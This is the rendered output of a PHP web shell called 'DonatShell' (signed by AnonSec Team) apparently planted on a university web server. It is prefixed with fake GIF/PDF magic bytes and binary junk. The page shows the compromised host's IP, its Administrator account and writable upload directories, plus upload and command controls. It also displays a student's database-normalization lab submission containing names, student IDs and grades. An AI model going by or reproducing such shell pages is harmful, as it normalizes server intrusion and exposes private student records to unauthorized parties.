GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20255/CST1600/41/16607463/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20255/CST1600/41/16607463/Lab09/BrendenGustafson-Lab09.txt
UNF:
studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)
lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

1NF:

2NF:

3NF:

Three data rows:

1NF:

Violation:
- The studentgrades table violates 1NF due to repeating fields: Lab01, Lab02, ..., Lab09.
- These should be stored in rows rather than columns.

Tables in 1NF:

Students
---------
StudentId*  
StudentName

StudentProfileGrades
---------------------
StudentId@  
SP

StudentLabGrades
-----------------
StudentId@  
LabName  
LabGrade

LetterGrades
--------------
LetterGrade*  
Percentage

AssignmentsPossiblePoints
--------------------------
AssignmentName*  
MaxPoints

Fields Created and Why:
- LabName, LabGrade: to eliminate repeating lab fields and store grades atomically.
- AssignmentName, MaxPoints: to generalize assignment grade limits (SP, Lab01–Lab09).

Tables Created and Why:
- StudentProfileGrades: separates SP from lab grades to keep fields atomic.
- StudentLabGrades: one lab per row structure for normalized format.
- AssignmentsPossiblePoints: stores all assignment types and their max points in a consistent format.

2NF:

Violation:
- The original studentgrades table had partial dependencies due to composite nature (implied).
- Now each table is dependent fully on the primary key.

Tables in 2NF:  
 OK — All tables now have full functional dependency on the whole primary key.

3NF:

Violation:
- The original studentgrades table had derived fields (Total, Final, IP) which depend on other non-key fields.

Tables in 3NF:

Students
---------
StudentId*  
StudentName

StudentProfileGrades
---------------------
StudentId@  
SP

StudentLabGrades
-----------------
StudentId@  
LabName  
LabGrade

LetterGrades
--------------
LetterGrade*  
Percentage

AssignmentsPossiblePoints
--------------------------
AssignmentName*  
MaxPoints

All calculated fields like Total, Final, and IP have been removed, as they are derived and violate 3NF.

Three data rows:

Students
---------
84228748, Lael Abbott  
44107438, Bruce Acosta  
21479092, Coby Fox

StudentProfileGrades
---------------------
84228748, 4  
44107438, 5  
21479092, 5

StudentLabGrades
-----------------
84228748, Lab01, 10  
84228748, Lab02, 5  
84228748, Lab03, 9  
84228748, Lab05, 3  
84228748, Lab06, 10  

44107438, Lab01, 10  
44107438, Lab02, 5  
44107438, Lab03, 10  
44107438, Lab04, 10  
44107438, Lab05, 15  
44107438, Lab06, 10  
44107438, Lab07, 15  
44107438, Lab08, 15  

21479092, Lab01, 10  
21479092, Lab02, 5  
21479092, Lab03, 10  
21479092, Lab04, 10  
21479092, Lab05, 15  
21479092, Lab06, 10  

LetterGrades
--------------
A, 93  
A-, 90  
B+, 87  
B, 83  
B-, 80  
C+, 77  
C, 73  
C-, 70  
F, 0

AssignmentsPossiblePoints
--------------------------
SP, 5  
Lab01, 10  
Lab02, 5  
Lab03, 10  
Lab04, 10  
Lab05, 15  
Lab06, 10  
Lab07, 15  
Lab08, 15  
Lab09, 15  

Anon7 - 2022
AnonSec Team